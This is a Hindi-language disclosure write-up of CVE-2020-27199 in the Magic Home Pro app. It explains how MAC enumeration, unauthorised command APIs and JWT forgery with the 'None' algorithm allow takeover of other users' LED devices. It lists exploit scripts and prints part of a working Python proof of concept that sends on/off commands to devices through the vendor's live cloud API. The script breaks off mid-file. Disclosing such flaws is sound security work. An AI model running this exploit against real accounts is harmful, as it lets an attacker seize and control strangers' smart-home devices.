
CVE-2020-27199

मैजिक होम प्रो मोबाइल एप्लिकेशन में कई कमजोरियां पाई गईं, जिसका उपयोग JadeHomic LED स्ट्रिप RGB किट के साथ इंटरफेस करने के लिए किया जाता है। इन कमजोरियों में सबसे महत्वपूर्ण एक प्रमाणीकरण बायपास (CVE-2020-27199) कमजोरी है, जो अंततः पीड़ित के पूरे डिवाइस समूह पर पूर्ण अधिग्रहण और नियंत्रण की अनुमति देती है।
magichome-forge.py - JWT जालसाज, उपकरण अधिग्रहण को स्वचालित करने के लिए प्रयुक्त
magichome-sniffer.py - स्थानीय नेटवर्क स्निफर जो संवेदनशील उपकरणों के लिए नेटवर्क खोजता है। उन उपकरणों की एक सूची बनाता है जिनके विरुद्ध हमले चलाए जा सकते हैं
magichome-switch.py - उपकरणों को चालू करने की अनुमति देता है
magichome-takeover.py - पेलोड जो उपयोगकर्ता खाते के सफल अधिग्रहण की अनुमति देता है
Suzhou SmartChip Semiconductor Co.,Ltd
यह कमजोरी किसी भी प्रमाणित उपयोगकर्ता को अपने वर्तमान प्राधिकरण स्तर का उपयोग करके उन समापन बिंदुओं की पूछताछ करने की अनुमति देती है जो उनके पंजीकृत उत्पादों का हिस्सा नहीं हैं, /app/getBindedUserListByMacAddress/ZG001?macAddress=<mac address> पर API कॉल का उपयोग करके। इसके परिणामस्वरूप एक HTTP प्रतिक्रिया होती है जो समापन बिंदु के अस्तित्व को इंगित करती है और उससे जुड़े समापन बिंदु का उपयोगकर्ता नाम, उपयोगकर्ता अद्वितीय पहचानकर्ता (userUniID) और बाइंडेड अद्वितीय आईडी (bindedUniID) लौटाती है।
उपरोक्त पूछताछ का उपयोग करके, एक हमलावर नए गणना किए गए मैक पते का उपयोग करके API /app/sendCommandBatch/ZG001 पर एक अनधिकृत POST अनुरोध का उपयोग कर सकता है, ताकि संगत हेक्स कमांड 71230fa3 और 71240fa4 का उपयोग करके रिमोट एंडपॉइंट पर कमांड भेजे, जिसके परिणामस्वरूप क्रमशः चालू और बंद होता है।
प्रारंभिक गणना पूरी होने के बाद, JWT पेलोड डेटा में userID और uniID का उपयोग करके JWT को जाली बनाना भी संभव है, प्रभावी रूप से JWT हेडर सेक्शन में एल्गोरिदम के रूप में 'None' का उपयोग करने के लिए टोकन को डाउनग्रेड करना (हस्ताक्षर-बायपास कमजोरी)। इस कमजोरी का उपयोग करके, एप्लिकेशन एक हमलावर द्वारा डिवाइस अधिग्रहण के लिए संवेदनशील है, /app/shareDevice/ZG001 पर रिमोट API कॉल का उपयोग करके और friendUserID JSON पैरामीटर का उपयोग करके डिवाइस को हमलावर की डिवाइस सूची में जोड़ा जाता है, जिससे हमलावर को एंडपॉइंट डिवाइस पर पूर्ण नियंत्रण मिल जाता है।
Credit(s):
OUI किसी संगठन को पंजीकृत MAC पतों के लिए संगठन अद्वितीय पहचानकर्ता का वर्णन करता है। JadeHomic के मामले में मैजिक OUI C8:2E:47 है, जहां पहले तीन बाइट्स निर्माता के अनुरूप हैं और दूसरे 3 बाइट्स निर्माता द्वारा निर्दिष्ट सीरियल नंबर के अनुरूप हैं। हमारे मामले में निर्माता पहचानकर्ता Suzhou SmartChip Semiconductor Co., LTD को पंजीकृत है।
मैजिक होम प्रो मोबाइल एप्लिकेशन के प्रमाणीकरण बायपास की अनुमति देता है और इस प्रकार पीड़ित उपयोगकर्ता के पूरे डिवाइस समूह पर पूर्ण नियंत्रण प्राप्त होता है।
प्रूफ ऑफ कॉन्सेप्ट MAC रेंज के अंतिम बाइट्स पर गणना करता है और परिणाम लौटाता है। यदि आप साहसी महसूस कर रहे हैं तो यह 'रिमोट एक्ज़ीक्यूट' का परीक्षण करने की अनुमति देता है।``` import requests import json import os from colorama import init from colorama import Fore, Back, Style import re
'''
global found_macaddresses found_macaddresses = [] global outtahere outtahere = "" q = "q" global token
def turnOn(target, token):
urlOn = "https://wifij01us.magichue.net/app/sendCommandBatch/ZG001"
array = {
"dataCommandItems":[
{"hexData":"71230fa3","macAddress":target}
]
}
data = json.dumps(array)
headersOn = {
"User-Agent":"Magic Home/1.5.1(ANDROID,9,en-US)",
"Accept-Language": "en-US",
"Accept": "application/json",
"Content-Type": "application/json; charset=utf-8",
"token":token,
"Host": "wifij01us.magichue.net",
"Connection": "close",
"Accept-Encoding": "gzip, deflate"
}
print (Fore.WHITE + "[+] Sending Payload ...")
response = requests.post(urlOn, data=data, headers=headersOn)
if response.status_code == 200:
if "true" in response.text:
print (Fore.GREEN + "[*] Endpoint " + Style.RESET_ALL + f"{target}" + Fore.GREEN + " Switched On")
else:
print (Fore.RED + "[-] Failed to switch on Endpoint " + Style.RESET_ALL + f"{target}")
def turnOff(target, token):
urlOff = "https://wifij01us.magichue.net/app/sendCommandBatch/ZG001"
array = {
"dataCommandItems":[
{"hexData":"71240fa4","macAddress":target}
]
}
data = json.dumps(array)
headersOff = {
"User-Agent":"Magic Home/1.5.1(ANDROID,9,en-US)",
"Accept-Language": "en-US",
"Accept": "application/json",
"Content-Type": "application/json; charset=utf-8",
"token":token,
"Host": "wifij01us.magichue.net",
"Connection": "close",
"Accept-Encoding": "gzip, deflate"
}
print (Fore.WHITE + "[+] Sending Payload ...")
response = requests.post(urlOff, data=data, headers=headersOff)
if response.status_code == 200:
if "true" in response.text:
print (Fore.GREEN + "[*] Endpoint " + Style.RESET_ALL + f"{target}" + Fore.GREEN + " Switched Off")
else:
print (Fore.RED + "[-] Failed to switch on Endpoint " + Style.RESET_ALL + f"{target}")
def lighItUp(target, token):